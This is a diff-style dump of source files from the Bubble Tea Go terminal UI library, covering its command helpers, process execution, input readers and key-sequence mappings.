[elm]: https://guide.elm-lang.org/architecture/
[gotea]: https://github.com/tj/go-tea
[zb]: https://de.wikipedia.org/wiki/Zeichenorientierte_Benutzerschnittstelle
[community]: https://github.com/charm-and-friends/charm-in-the-wild
## License
[MIT](https://github.com/charmbracelet/bubbletea/raw/main/LICENSE)
---
Part of [Charm](https://charm.sh).
<a href="https://charm.sh/"><img alt="The Charm logo" src="https://stuff.charm.sh/charm-banner-next.jpg" width="400"></a>
Charm热爱开源 • Charm loves open source • نحنُ نحب المصادر المفتوحة
+14
View File
@@ -0,0 +1,14 @@
# https://taskfile.dev
version: '3'
tasks:
lint:
desc: Run lint
cmds:
- golangci-lint run
test:
desc: Run tests
cmds:
- go test ./... {{.CLI_ARGS}}
+222
View File
@@ -0,0 +1,222 @@
package tea
import (
"time"
)
// Batch performs a bunch of commands concurrently with no ordering guarantees
// about the results. Use a Batch to return several commands.
//
// Example:
//
// func (m model) Init() Cmd {
// return tea.Batch(someCommand, someOtherCommand)
// }
func Batch(cmds ...Cmd) Cmd {
return compactCmds[BatchMsg](cmds)
}
// BatchMsg is a message used to perform a bunch of commands concurrently with
// no ordering guarantees. You can send a BatchMsg with Batch.
type BatchMsg []Cmd
// Sequence runs the given commands one at a time, in order. Contrast this with
// Batch, which runs commands concurrently.
func Sequence(cmds ...Cmd) Cmd {
return compactCmds[sequenceMsg](cmds)
}
// sequenceMsg is used internally to run the given commands in order.
type sequenceMsg []Cmd
// compactCmds ignores any nil commands in cmds, and returns the most direct
// command possible. That is, considering the non-nil commands, if there are
// none it returns nil, if there is exactly one it returns that command
// directly, else it returns the non-nil commands as type T.
func compactCmds[T ~[]Cmd](cmds []Cmd) Cmd {
var validCmds []Cmd //nolint:prealloc
for _, c := range cmds {
if c == nil {
continue
}
validCmds = append(validCmds, c)
}
switch len(validCmds) {
case 0:
return nil
case 1:
return validCmds[0]
default:
return func() Msg {
return T(validCmds)
}
}
}
// Every is a command that ticks in sync with the system clock. So, if you
// wanted to tick with the system clock every second, minute or hour you
// could use this. It's also handy for having different things tick in sync.
//
// Because we're ticking with the system clock the tick will likely not run for
// the entire specified duration. For example, if we're ticking for one minute
// and the clock is at 12:34:20 then the next tick will happen at 12:35:00, 40
// seconds later.
//
// To produce the command, pass a duration and a function which returns
// a message containing the time at which the tick occurred.
//
// type TickMsg time.Time
//
// cmd := Every(time.Second, func(t time.Time) Msg {
// return TickMsg(t)
// })
//
// Beginners' note: Every sends a single message and won't automatically
// dispatch messages at an interval. To do that, you'll want to return another
// Every command after receiving your tick message. For example:
//
// type TickMsg time.Time
//
// // Send a message every second.
// func tickEvery() Cmd {
// return Every(time.Second, func(t time.Time) Msg {
// return TickMsg(t)
// })
// }
//
// func (m model) Init() Cmd {
// // Start ticking.
// return tickEvery()
// }
//
// func (m model) Update(msg Msg) (Model, Cmd) {
// switch msg.(type) {
// case TickMsg:
// // Return your Every command again to loop.
// return m, tickEvery()
// }
// return m, nil
// }
//
// Every is analogous to Tick in the Elm Architecture.
func Every(duration time.Duration, fn func(time.Time) Msg) Cmd {
n := time.Now()
d := n.Truncate(duration).Add(duration).Sub(n)
t := time.NewTimer(d)
return func() Msg {
ts := <-t.C
t.Stop()
for len(t.C) > 0 {
<-t.C
}
return fn(ts)
}
}
// Tick produces a command at an interval independent of the system clock at
// the given duration. That is, the timer begins precisely when invoked,
// and runs for its entire duration.
//
// To produce the command, pass a duration and a function which returns
// a message containing the time at which the tick occurred.
//
// type TickMsg time.Time
//
// cmd := Tick(time.Second, func(t time.Time) Msg {
// return TickMsg(t)
// })
//
// Beginners' note: Tick sends a single message and won't automatically
// dispatch messages at an interval. To do that, you'll want to return another
// Tick command after receiving your tick message. For example:
//
// type TickMsg time.Time
//
// func doTick() Cmd {
// return Tick(time.Second, func(t time.Time) Msg {
// return TickMsg(t)
// })
// }
//
// func (m model) Init() Cmd {
// // Start ticking.
// return doTick()
// }
//
// func (m model) Update(msg Msg) (Model, Cmd) {
// switch msg.(type) {
// case TickMsg:
// // Return your Tick command again to loop.
// return m, doTick()
// }
// return m, nil
// }
func Tick(d time.Duration, fn func(time.Time) Msg) Cmd {
t := time.NewTimer(d)
return func() Msg {
ts := <-t.C
t.Stop()
for len(t.C) > 0 {
<-t.C
}
return fn(ts)
}
}
// Sequentially produces a command that sequentially executes the given
// commands.
// The Msg returned is the first non-nil message returned by a Cmd.
//
// func saveStateCmd() Msg {
// if err := save(); err != nil {
// return errMsg{err}
// }
// return nil
// }
//
// cmd := Sequentially(saveStateCmd, Quit)
//
// Deprecated: use Sequence instead.
func Sequentially(cmds ...Cmd) Cmd {
return func() Msg {
for _, cmd := range cmds {
if cmd == nil {
continue
}
if msg := cmd(); msg != nil {
return msg
}
}
return nil
}
}
// setWindowTitleMsg is an internal message used to set the window title.
type setWindowTitleMsg string
// SetWindowTitle produces a command that sets the terminal title.
//
// For example:
//
// func (m model) Init() Cmd {
// // Set title.
// return tea.SetWindowTitle("My App")
// }
func SetWindowTitle(title string) Cmd {
return func() Msg {
return setWindowTitleMsg(title)
}
}
type windowSizeMsg struct{}
// WindowSize is a command that queries the terminal for its current size. It
// delivers the results to Update via a [WindowSizeMsg]. Keep in mind that
// WindowSizeMsgs will automatically be delivered to Update when the [Program]
// starts and when the window dimensions change so in many cases you will not
// need to explicitly invoke this command.
func WindowSize() Cmd {
return func() Msg {
return windowSizeMsg{}
}
}
+133
View File
@@ -0,0 +1,133 @@
package tea
import (
"io"
"os"
"os/exec"
)
// execMsg is used internally to run an ExecCommand sent with Exec.
type execMsg struct {
cmd ExecCommand
fn ExecCallback
}
// Exec is used to perform arbitrary I/O in a blocking fashion, effectively
// pausing the Program while execution is running and resuming it when
// execution has completed.
//
// Most of the time you'll want to use ExecProcess, which runs an exec.Cmd.
//
// For non-interactive i/o you should use a Cmd (that is, a tea.Cmd).
func Exec(c ExecCommand, fn ExecCallback) Cmd {
return func() Msg {
return execMsg{cmd: c, fn: fn}
}
}
// ExecProcess runs the given *exec.Cmd in a blocking fashion, effectively
// pausing the Program while the command is running. After the *exec.Cmd exists
// the Program resumes. It's useful for spawning other interactive applications
// such as editors and shells from within a Program.
//
// To produce the command, pass an *exec.Cmd and a function which returns
// a message containing the error which may have occurred when running the
// ExecCommand.
//
// type VimFinishedMsg struct { err error }
//
// c := exec.Command("vim", "file.txt")
//
// cmd := ExecProcess(c, func(err error) Msg {
// return VimFinishedMsg{err: err}
// })
//
// Or, if you don't care about errors, you could simply:
//
// cmd := ExecProcess(exec.Command("vim", "file.txt"), nil)
//
// For non-interactive i/o you should use a Cmd (that is, a tea.Cmd).
func ExecProcess(c *exec.Cmd, fn ExecCallback) Cmd {
return Exec(wrapExecCommand(c), fn)
}
// ExecCallback is used when executing an *exec.Command to return a message
// with an error, which may or may not be nil.
type ExecCallback func(error) Msg
// ExecCommand can be implemented to execute things in a blocking fashion in
// the current terminal.
type ExecCommand interface {
Run() error
SetStdin(io.Reader)
SetStdout(io.Writer)
SetStderr(io.Writer)
}
// wrapExecCommand wraps an exec.Cmd so that it satisfies the ExecCommand
// interface so it can be used with Exec.
func wrapExecCommand(c *exec.Cmd) ExecCommand {
return &osExecCommand{Cmd: c}
}
// osExecCommand is a layer over an exec.Cmd that satisfies the ExecCommand
// interface.
type osExecCommand struct{ *exec.Cmd }
// SetStdin sets stdin on underlying exec.Cmd to the given io.Reader.
func (c *osExecCommand) SetStdin(r io.Reader) {
// If unset, have the command use the same input as the terminal.
if c.Stdin == nil {
c.Stdin = r
}
}
// SetStdout sets stdout on underlying exec.Cmd to the given io.Writer.
func (c *osExecCommand) SetStdout(w io.Writer) {
// If unset, have the command use the same output as the terminal.
if c.Stdout == nil {
c.Stdout = w
}
}
// SetStderr sets stderr on the underlying exec.Cmd to the given io.Writer.
func (c *osExecCommand) SetStderr(w io.Writer) {
// If unset, use stderr for the command's stderr
if c.Stderr == nil {
c.Stderr = w
}
}
// exec runs an ExecCommand and delivers the results to the program as a Msg.
func (p *Program) exec(c ExecCommand, fn ExecCallback) {
if err := p.ReleaseTerminal(); err != nil {
// If we can't release input, abort.
if fn != nil {
go p.Send(fn(err))
}
return
}
c.SetStdin(p.input)
c.SetStdout(p.output)
c.SetStderr(os.Stderr)
// Execute system command.
if err := c.Run(); err != nil {
p.renderer.resetLinesRendered()
_ = p.RestoreTerminal() // also try to restore the terminal.
if fn != nil {
go p.Send(fn(err))
}
return
}
// Maintain the existing output from the command
p.renderer.resetLinesRendered()
// Have the program re-capture input.
err := p.RestoreTerminal()
if fn != nil {
go p.Send(fn(err))
}
}
+9
View File
@@ -0,0 +1,9 @@
package tea
// FocusMsg represents a terminal focus message.
// This occurs when the terminal gains focus.
type FocusMsg struct{}
// BlurMsg represents a terminal blur message.
// This occurs when the terminal loses focus.
type BlurMsg struct{}
+19
View File
@@ -0,0 +1,19 @@
//go:build !windows
// +build !windows
package tea
import (
"fmt"
"io"
"github.com/muesli/cancelreader"
)
func newInputReader(r io.Reader, _ bool) (cancelreader.CancelReader, error) {
cr, err := cancelreader.NewReader(r)
if err != nil {
return nil, fmt.Errorf("bubbletea: error creating cancel reader: %w", err)
}
return cr, nil
}
+129
View File
@@ -0,0 +1,129 @@
//go:build windows
// +build windows
package tea
import (
"fmt"
"io"
"os"
"sync"
"github.com/charmbracelet/x/term"
"github.com/erikgeiser/coninput"
"github.com/muesli/cancelreader"
"golang.org/x/sys/windows"
)
type conInputReader struct {
cancelMixin
conin windows.Handle
originalMode uint32
}
var _ cancelreader.CancelReader = &conInputReader{}
func newInputReader(r io.Reader, enableMouse bool) (cancelreader.CancelReader, error) {
fallback := func(io.Reader) (cancelreader.CancelReader, error) {
return cancelreader.NewReader(r)
}
if f, ok := r.(term.File); !ok || f.Fd() != os.Stdin.Fd() {
return fallback(r)
}
conin, err := coninput.NewStdinHandle()
if err != nil {
return fallback(r)
}
modes := []uint32{
windows.ENABLE_WINDOW_INPUT,
windows.ENABLE_EXTENDED_FLAGS,
}
// Since we have options to enable mouse events, [WithMouseCellMotion],
// [WithMouseAllMotion], and [EnableMouseCellMotion],
// [EnableMouseAllMotion], and [DisableMouse], we need to check if the user
// has enabled mouse events and add the appropriate mode accordingly.
// Otherwise, mouse events will be enabled all the time.
if enableMouse {
modes = append(modes, windows.ENABLE_MOUSE_INPUT)
}
originalMode, err := prepareConsole(conin, modes...)
if err != nil {
return nil, fmt.Errorf("failed to prepare console input: %w", err)
}
return &conInputReader{
conin: conin,
originalMode: originalMode,
}, nil
}
// Cancel implements cancelreader.CancelReader.
func (r *conInputReader) Cancel() bool {
r.setCanceled()
// Warning: These cancel methods do not reliably work on console input
// and should not be counted on.
return windows.CancelIoEx(r.conin, nil) == nil || windows.CancelIo(r.conin) == nil
}
// Close implements cancelreader.CancelReader.
func (r *conInputReader) Close() error {
if r.originalMode != 0 {
err := windows.SetConsoleMode(r.conin, r.originalMode)
if err != nil {
return fmt.Errorf("reset console mode: %w", err)
}
}
return nil
}
// Read implements cancelreader.CancelReader.
func (r *conInputReader) Read(_ []byte) (n int, err error) {
if r.isCanceled() {
err = cancelreader.ErrCanceled
}
return
}
func prepareConsole(input windows.Handle, modes ...uint32) (originalMode uint32, err error) {
err = windows.GetConsoleMode(input, &originalMode)
if err != nil {
return 0, fmt.Errorf("get console mode: %w", err)
}
newMode := coninput.AddInputModes(0, modes...)
err = windows.SetConsoleMode(input, newMode)
if err != nil {
return 0, fmt.Errorf("set console mode: %w", err)
}
return originalMode, nil
}
// cancelMixin represents a goroutine-safe cancellation status.
type cancelMixin struct {
unsafeCanceled bool
lock sync.Mutex
}
func (c *cancelMixin) setCanceled() {
c.lock.Lock()
defer c.lock.Unlock()
c.unsafeCanceled = true
}
func (c *cancelMixin) isCanceled() bool {
c.lock.Lock()
defer c.lock.Unlock()
return c.unsafeCanceled
}
+715
View File
@@ -0,0 +1,715 @@
package tea
import (
"context"
"fmt"
"io"
"regexp"
"strings"
"unicode/utf8"
)
// KeyMsg contains information about a keypress. KeyMsgs are always sent to
// the program's update function. There are a couple general patterns you could
// use to check for keypresses:
//
// // Switch on the string representation of the key (shorter)
// switch msg := msg.(type) {
// case KeyMsg:
// switch msg.String() {
// case "enter":
// fmt.Println("you pressed enter!")
// case "a":
// fmt.Println("you pressed a!")
// }
// }
//
// // Switch on the key type (more foolproof)
// switch msg := msg.(type) {
// case KeyMsg:
// switch msg.Type {
// case KeyEnter:
// fmt.Println("you pressed enter!")
// case KeyRunes:
// switch string(msg.Runes) {
// case "a":
// fmt.Println("you pressed a!")
// }
// }
// }
//
// Note that Key.Runes will always contain at least one character, so you can
// always safely call Key.Runes[0]. In most cases Key.Runes will only contain
// one character, though certain input method editors (most notably Chinese
// IMEs) can input multiple runes at once.
type KeyMsg Key
// String returns a string representation for a key message. It's safe (and
// encouraged) for use in key comparison.
func (k KeyMsg) String() (str string) {
return Key(k).String()
}
// Key contains information about a keypress.
type Key struct {
Type KeyType
Runes []rune
Alt bool
Paste bool
}
// String returns a friendly string representation for a key. It's safe (and
// encouraged) for use in key comparison.
//
// k := Key{Type: KeyEnter}
// fmt.Println(k)
// // Output: enter
func (k Key) String() (str string) {
var buf strings.Builder
if k.Alt {
buf.WriteString("alt+")
}
if k.Type == KeyRunes {
if k.Paste {
// Note: bubbles/keys bindings currently do string compares to
// recognize shortcuts. Since pasted text should never activate
// shortcuts, we need to ensure that the binding code doesn't
// match Key events that result from pastes. We achieve this
// here by enclosing pastes in '[...]' so that the string
// comparison in Matches() fails in that case.
buf.WriteByte('[')
}
buf.WriteString(string(k.Runes))
if k.Paste {
buf.WriteByte(']')
}
return buf.String()
} else if s, ok := keyNames[k.Type]; ok {
buf.WriteString(s)
return buf.String()
}
return ""
}
// KeyType indicates the key pressed, such as KeyEnter or KeyBreak or KeyCtrlC.
// All other keys will be type KeyRunes. To get the rune value, check the Rune
// method on a Key struct, or use the Key.String() method:
//
// k := Key{Type: KeyRunes, Runes: []rune{'a'}, Alt: true}
// if k.Type == KeyRunes {
//
// fmt.Println(k.Runes)
// // Output: a
//
// fmt.Println(k.String())
// // Output: alt+a
//
// }
type KeyType int
func (k KeyType) String() (str string) {
if s, ok := keyNames[k]; ok {
return s
}
return ""
}
// Control keys. We could do this with an iota, but the values are very
// specific, so we set the values explicitly to avoid any confusion.
//
// See also:
// https://en.wikipedia.org/wiki/C0_and_C1_control_codes
const (
keyNUL KeyType = 0 // null, \0
keySOH KeyType = 1 // start of heading
keySTX KeyType = 2 // start of text
keyETX KeyType = 3 // break, ctrl+c
keyEOT KeyType = 4 // end of transmission
keyENQ KeyType = 5 // enquiry
keyACK KeyType = 6 // acknowledge
keyBEL KeyType = 7 // bell, \a
keyBS KeyType = 8 // backspace
keyHT KeyType = 9 // horizontal tabulation, \t
keyLF KeyType = 10 // line feed, \n
keyVT KeyType = 11 // vertical tabulation \v
keyFF KeyType = 12 // form feed \f
keyCR KeyType = 13 // carriage return, \r
keySO KeyType = 14 // shift out
keySI KeyType = 15 // shift in
keyDLE KeyType = 16 // data link escape
keyDC1 KeyType = 17 // device control one
keyDC2 KeyType = 18 // device control two
keyDC3 KeyType = 19 // device control three
keyDC4 KeyType = 20 // device control four
keyNAK KeyType = 21 // negative acknowledge
keySYN KeyType = 22 // synchronous idle
keyETB KeyType = 23 // end of transmission block
keyCAN KeyType = 24 // cancel
keyEM KeyType = 25 // end of medium
keySUB KeyType = 26 // substitution
keyESC KeyType = 27 // escape, \e
keyFS KeyType = 28 // file separator
keyGS KeyType = 29 // group separator
keyRS KeyType = 30 // record separator
keyUS KeyType = 31 // unit separator
keyDEL KeyType = 127 // delete. on most systems this is mapped to backspace, I hear
)
// Control key aliases.
const (
KeyNull KeyType = keyNUL
KeyBreak KeyType = keyETX
KeyEnter KeyType = keyCR
KeyBackspace KeyType = keyDEL
KeyTab KeyType = keyHT
KeyEsc KeyType = keyESC
KeyEscape KeyType = keyESC
KeyCtrlAt KeyType = keyNUL // ctrl+@
KeyCtrlA KeyType = keySOH
KeyCtrlB KeyType = keySTX
KeyCtrlC KeyType = keyETX
KeyCtrlD KeyType = keyEOT
KeyCtrlE KeyType = keyENQ
KeyCtrlF KeyType = keyACK
KeyCtrlG KeyType = keyBEL
KeyCtrlH KeyType = keyBS
KeyCtrlI KeyType = keyHT
KeyCtrlJ KeyType = keyLF
KeyCtrlK KeyType = keyVT
KeyCtrlL KeyType = keyFF
KeyCtrlM KeyType = keyCR
KeyCtrlN KeyType = keySO
KeyCtrlO KeyType = keySI
KeyCtrlP KeyType = keyDLE
KeyCtrlQ KeyType = keyDC1
KeyCtrlR KeyType = keyDC2
KeyCtrlS KeyType = keyDC3
KeyCtrlT KeyType = keyDC4
KeyCtrlU KeyType = keyNAK
KeyCtrlV KeyType = keySYN
KeyCtrlW KeyType = keyETB
KeyCtrlX KeyType = keyCAN
KeyCtrlY KeyType = keyEM
KeyCtrlZ KeyType = keySUB
KeyCtrlOpenBracket KeyType = keyESC // ctrl+[
KeyCtrlBackslash KeyType = keyFS // ctrl+\
KeyCtrlCloseBracket KeyType = keyGS // ctrl+]
KeyCtrlCaret KeyType = keyRS // ctrl+^
KeyCtrlUnderscore KeyType = keyUS // ctrl+_
KeyCtrlQuestionMark KeyType = keyDEL // ctrl+?
)
// Other keys.
const (
KeyRunes KeyType = -(iota + 1)
KeyUp
KeyDown
KeyRight
KeyLeft
KeyShiftTab
KeyHome
KeyEnd
KeyPgUp
KeyPgDown
KeyCtrlPgUp
KeyCtrlPgDown
KeyDelete
KeyInsert
KeySpace
KeyCtrlUp
KeyCtrlDown
KeyCtrlRight
KeyCtrlLeft
KeyCtrlHome
KeyCtrlEnd
KeyShiftUp
KeyShiftDown
KeyShiftRight
KeyShiftLeft
KeyShiftHome
KeyShiftEnd
KeyCtrlShiftUp
KeyCtrlShiftDown
KeyCtrlShiftLeft
KeyCtrlShiftRight
KeyCtrlShiftHome
KeyCtrlShiftEnd
KeyF1
KeyF2
KeyF3
KeyF4
KeyF5
KeyF6
KeyF7
KeyF8
KeyF9
KeyF10
KeyF11
KeyF12
KeyF13
KeyF14
KeyF15
KeyF16
KeyF17
KeyF18
KeyF19
KeyF20
)
// Mappings for control keys and other special keys to friendly consts.
var keyNames = map[KeyType]string{
// Control keys.
keyNUL: "ctrl+@", // also ctrl+` (that's ctrl+backtick)
keySOH: "ctrl+a",
keySTX: "ctrl+b",
keyETX: "ctrl+c",
keyEOT: "ctrl+d",
keyENQ: "ctrl+e",
keyACK: "ctrl+f",
keyBEL: "ctrl+g",
keyBS: "ctrl+h",
keyHT: "tab", // also ctrl+i
keyLF: "ctrl+j",
keyVT: "ctrl+k",
keyFF: "ctrl+l",
keyCR: "enter",
keySO: "ctrl+n",
keySI: "ctrl+o",
keyDLE: "ctrl+p",
keyDC1: "ctrl+q",
keyDC2: "ctrl+r",
keyDC3: "ctrl+s",
keyDC4: "ctrl+t",
keyNAK: "ctrl+u",
keySYN: "ctrl+v",
keyETB: "ctrl+w",
keyCAN: "ctrl+x",
keyEM: "ctrl+y",
keySUB: "ctrl+z",
keyESC: "esc",
keyFS: "ctrl+\\",
keyGS: "ctrl+]",
keyRS: "ctrl+^",
keyUS: "ctrl+_",
keyDEL: "backspace",
// Other keys.
KeyRunes: "runes",
KeyUp: "up",
KeyDown: "down",
KeyRight: "right",
KeySpace: " ", // for backwards compatibility
KeyLeft: "left",
KeyShiftTab: "shift+tab",
KeyHome: "home",
KeyEnd: "end",
KeyCtrlHome: "ctrl+home",
KeyCtrlEnd: "ctrl+end",
KeyShiftHome: "shift+home",
KeyShiftEnd: "shift+end",
KeyCtrlShiftHome: "ctrl+shift+home",
KeyCtrlShiftEnd: "ctrl+shift+end",
KeyPgUp: "pgup",
KeyPgDown: "pgdown",
KeyCtrlPgUp: "ctrl+pgup",
KeyCtrlPgDown: "ctrl+pgdown",
KeyDelete: "delete",
KeyInsert: "insert",
KeyCtrlUp: "ctrl+up",
KeyCtrlDown: "ctrl+down",
KeyCtrlRight: "ctrl+right",
KeyCtrlLeft: "ctrl+left",
KeyShiftUp: "shift+up",
KeyShiftDown: "shift+down",
KeyShiftRight: "shift+right",
KeyShiftLeft: "shift+left",
KeyCtrlShiftUp: "ctrl+shift+up",
KeyCtrlShiftDown: "ctrl+shift+down",
KeyCtrlShiftLeft: "ctrl+shift+left",
KeyCtrlShiftRight: "ctrl+shift+right",
KeyF1: "f1",
KeyF2: "f2",
KeyF3: "f3",
KeyF4: "f4",
KeyF5: "f5",
KeyF6: "f6",
KeyF7: "f7",
KeyF8: "f8",
KeyF9: "f9",
KeyF10: "f10",
KeyF11: "f11",
KeyF12: "f12",
KeyF13: "f13",
KeyF14: "f14",
KeyF15: "f15",
KeyF16: "f16",
KeyF17: "f17",
KeyF18: "f18",
KeyF19: "f19",
KeyF20: "f20",
}
// Sequence mappings.
var sequences = map[string]Key{
// Arrow keys
"\x1b[A": {Type: KeyUp},
"\x1b[B": {Type: KeyDown},
"\x1b[C": {Type: KeyRight},
"\x1b[D": {Type: KeyLeft},
"\x1b[1;2A": {Type: KeyShiftUp},
"\x1b[1;2B": {Type: KeyShiftDown},
"\x1b[1;2C": {Type: KeyShiftRight},
"\x1b[1;2D": {Type: KeyShiftLeft},
"\x1b[OA": {Type: KeyShiftUp}, // DECCKM
"\x1b[OB": {Type: KeyShiftDown}, // DECCKM
"\x1b[OC": {Type: KeyShiftRight}, // DECCKM
"\x1b[OD": {Type: KeyShiftLeft}, // DECCKM
"\x1b[a": {Type: KeyShiftUp}, // urxvt
"\x1b[b": {Type: KeyShiftDown}, // urxvt
"\x1b[c": {Type: KeyShiftRight}, // urxvt
"\x1b[d": {Type: KeyShiftLeft}, // urxvt
"\x1b[1;3A": {Type: KeyUp, Alt: true},
"\x1b[1;3B": {Type: KeyDown, Alt: true},
"\x1b[1;3C": {Type: KeyRight, Alt: true},
"\x1b[1;3D": {Type: KeyLeft, Alt: true},
"\x1b[1;4A": {Type: KeyShiftUp, Alt: true},
"\x1b[1;4B": {Type: KeyShiftDown, Alt: true},
"\x1b[1;4C": {Type: KeyShiftRight, Alt: true},
"\x1b[1;4D": {Type: KeyShiftLeft, Alt: true},
"\x1b[1;5A": {Type: KeyCtrlUp},
"\x1b[1;5B": {Type: KeyCtrlDown},
"\x1b[1;5C": {Type: KeyCtrlRight},
"\x1b[1;5D": {Type: KeyCtrlLeft},
"\x1b[Oa": {Type: KeyCtrlUp, Alt: true}, // urxvt
"\x1b[Ob": {Type: KeyCtrlDown, Alt: true}, // urxvt
"\x1b[Oc": {Type: KeyCtrlRight, Alt: true}, // urxvt
"\x1b[Od": {Type: KeyCtrlLeft, Alt: true}, // urxvt
"\x1b[1;6A": {Type: KeyCtrlShiftUp},
"\x1b[1;6B": {Type: KeyCtrlShiftDown},
"\x1b[1;6C": {Type: KeyCtrlShiftRight},
"\x1b[1;6D": {Type: KeyCtrlShiftLeft},
"\x1b[1;7A": {Type: KeyCtrlUp, Alt: true},
"\x1b[1;7B": {Type: KeyCtrlDown, Alt: true},
"\x1b[1;7C": {Type: KeyCtrlRight, Alt: true},
"\x1b[1;7D": {Type: KeyCtrlLeft, Alt: true},
"\x1b[1;8A": {Type: KeyCtrlShiftUp, Alt: true},
"\x1b[1;8B": {Type: KeyCtrlShiftDown, Alt: true},
"\x1b[1;8C": {Type: KeyCtrlShiftRight, Alt: true},
"\x1b[1;8D": {Type: KeyCtrlShiftLeft, Alt: true},
// Miscellaneous keys
"\x1b[Z": {Type: KeyShiftTab},
"\x1b[2~": {Type: KeyInsert},
"\x1b[3;2~": {Type: KeyInsert, Alt: true},
"\x1b[3~": {Type: KeyDelete},
"\x1b[3;3~": {Type: KeyDelete, Alt: true},
"\x1b[5~": {Type: KeyPgUp},
"\x1b[5;3~": {Type: KeyPgUp, Alt: true},
"\x1b[5;5~": {Type: KeyCtrlPgUp},
"\x1b[5^": {Type: KeyCtrlPgUp}, // urxvt
"\x1b[5;7~": {Type: KeyCtrlPgUp, Alt: true},
"\x1b[6~": {Type: KeyPgDown},
"\x1b[6;3~": {Type: KeyPgDown, Alt: true},
"\x1b[6;5~": {Type: KeyCtrlPgDown},
"\x1b[6^": {Type: KeyCtrlPgDown}, // urxvt
"\x1b[6;7~": {Type: KeyCtrlPgDown, Alt: true},
"\x1b[1~": {Type: KeyHome},
"\x1b[H": {Type: KeyHome}, // xterm, lxterm
"\x1b[1;3H": {Type: KeyHome, Alt: true}, // xterm, lxterm
"\x1b[1;5H": {Type: KeyCtrlHome}, // xterm, lxterm
"\x1b[1;7H": {Type: KeyCtrlHome, Alt: true}, // xterm, lxterm
"\x1b[1;2H": {Type: KeyShiftHome}, // xterm, lxterm
"\x1b[1;4H": {Type: KeyShiftHome, Alt: true}, // xterm, lxterm
"\x1b[1;6H": {Type: KeyCtrlShiftHome}, // xterm, lxterm
"\x1b[1;8H": {Type: KeyCtrlShiftHome, Alt: true}, // xterm, lxterm
"\x1b[4~": {Type: KeyEnd},
"\x1b[F": {Type: KeyEnd}, // xterm, lxterm
"\x1b[1;3F": {Type: KeyEnd, Alt: true}, // xterm, lxterm
"\x1b[1;5F": {Type: KeyCtrlEnd}, // xterm, lxterm
"\x1b[1;7F": {Type: KeyCtrlEnd, Alt: true}, // xterm, lxterm
"\x1b[1;2F": {Type: KeyShiftEnd}, // xterm, lxterm
"\x1b[1;4F": {Type: KeyShiftEnd, Alt: true}, // xterm, lxterm
"\x1b[1;6F": {Type: KeyCtrlShiftEnd}, // xterm, lxterm
"\x1b[1;8F": {Type: KeyCtrlShiftEnd, Alt: true}, // xterm, lxterm
"\x1b[7~": {Type: KeyHome}, // urxvt
"\x1b[7^": {Type: KeyCtrlHome}, // urxvt
"\x1b[7$": {Type: KeyShiftHome}, // urxvt
"\x1b[7@": {Type: KeyCtrlShiftHome}, // urxvt
"\x1b[8~": {Type: KeyEnd}, // urxvt
"\x1b[8^": {Type: KeyCtrlEnd}, // urxvt
"\x1b[8$": {Type: KeyShiftEnd}, // urxvt
"\x1b[8@": {Type: KeyCtrlShiftEnd}, // urxvt
// Function keys, Linux console
"\x1b[[A": {Type: KeyF1}, // linux console
"\x1b[[B": {Type: KeyF2}, // linux console
"\x1b[[C": {Type: KeyF3}, // linux console
"\x1b[[D": {Type: KeyF4}, // linux console
"\x1b[[E": {Type: KeyF5}, // linux console
// Function keys, X11
"\x1bOP": {Type: KeyF1}, // vt100, xterm
"\x1bOQ": {Type: KeyF2}, // vt100, xterm
"\x1bOR": {Type: KeyF3}, // vt100, xterm
"\x1bOS": {Type: KeyF4}, // vt100, xterm
"\x1b[1;3P": {Type: KeyF1, Alt: true}, // vt100, xterm
"\x1b[1;3Q": {Type: KeyF2, Alt: true}, // vt100, xterm
"\x1b[1;3R": {Type: KeyF3, Alt: true}, // vt100, xterm
"\x1b[1;3S": {Type: KeyF4, Alt: true}, // vt100, xterm
"\x1b[11~": {Type: KeyF1}, // urxvt
"\x1b[12~": {Type: KeyF2}, // urxvt
"\x1b[13~": {Type: KeyF3}, // urxvt
"\x1b[14~": {Type: KeyF4}, // urxvt
"\x1b[15~": {Type: KeyF5}, // vt100, xterm, also urxvt
"\x1b[15;3~": {Type: KeyF5, Alt: true}, // vt100, xterm, also urxvt
"\x1b[17~": {Type: KeyF6}, // vt100, xterm, also urxvt
"\x1b[18~": {Type: KeyF7}, // vt100, xterm, also urxvt
"\x1b[19~": {Type: KeyF8}, // vt100, xterm, also urxvt
"\x1b[20~": {Type: KeyF9}, // vt100, xterm, also urxvt
"\x1b[21~": {Type: KeyF10}, // vt100, xterm, also urxvt
"\x1b[17;3~": {Type: KeyF6, Alt: true}, // vt100, xterm
"\x1b[18;3~": {Type: KeyF7, Alt: true}, // vt100, xterm
"\x1b[19;3~": {Type: KeyF8, Alt: true}, // vt100, xterm
"\x1b[20;3~": {Type: KeyF9, Alt: true}, // vt100, xterm
"\x1b[21;3~": {Type: KeyF10, Alt: true}, // vt100, xterm
"\x1b[23~": {Type: KeyF11}, // vt100, xterm, also urxvt
"\x1b[24~": {Type: KeyF12}, // vt100, xterm, also urxvt
"\x1b[23;3~": {Type: KeyF11, Alt: true}, // vt100, xterm
"\x1b[24;3~": {Type: KeyF12, Alt: true}, // vt100, xterm
"\x1b[1;2P": {Type: KeyF13},
"\x1b[1;2Q": {Type: KeyF14},
"\x1b[25~": {Type: KeyF13}, // vt100, xterm, also urxvt
"\x1b[26~": {Type: KeyF14}, // vt100, xterm, also urxvt
"\x1b[25;3~": {Type: KeyF13, Alt: true}, // vt100, xterm
"\x1b[26;3~": {Type: KeyF14, Alt: true}, // vt100, xterm
"\x1b[1;2R": {Type: KeyF15},
"\x1b[1;2S": {Type: KeyF16},
"\x1b[28~": {Type: KeyF15}, // vt100, xterm, also urxvt
"\x1b[29~": {Type: KeyF16}, // vt100, xterm, also urxvt
"\x1b[28;3~": {Type: KeyF15, Alt: true}, // vt100, xterm
"\x1b[29;3~": {Type: KeyF16, Alt: true}, // vt100, xterm
"\x1b[15;2~": {Type: KeyF17},
"\x1b[17;2~": {Type: KeyF18},
"\x1b[18;2~": {Type: KeyF19},
"\x1b[19;2~": {Type: KeyF20},
"\x1b[31~": {Type: KeyF17},
"\x1b[32~": {Type: KeyF18},
"\x1b[33~": {Type: KeyF19},
"\x1b[34~": {Type: KeyF20},
// Powershell sequences.
"\x1bOA": {Type: KeyUp, Alt: false},
"\x1bOB": {Type: KeyDown, Alt: false},
"\x1bOC": {Type: KeyRight, Alt: false},
"\x1bOD": {Type: KeyLeft, Alt: false},
}
// unknownInputByteMsg is reported by the input reader when an invalid
// utf-8 byte is detected on the input. Currently, it is not handled
// further by bubbletea. However, having this event makes it possible
// to troubleshoot invalid inputs.
type unknownInputByteMsg byte
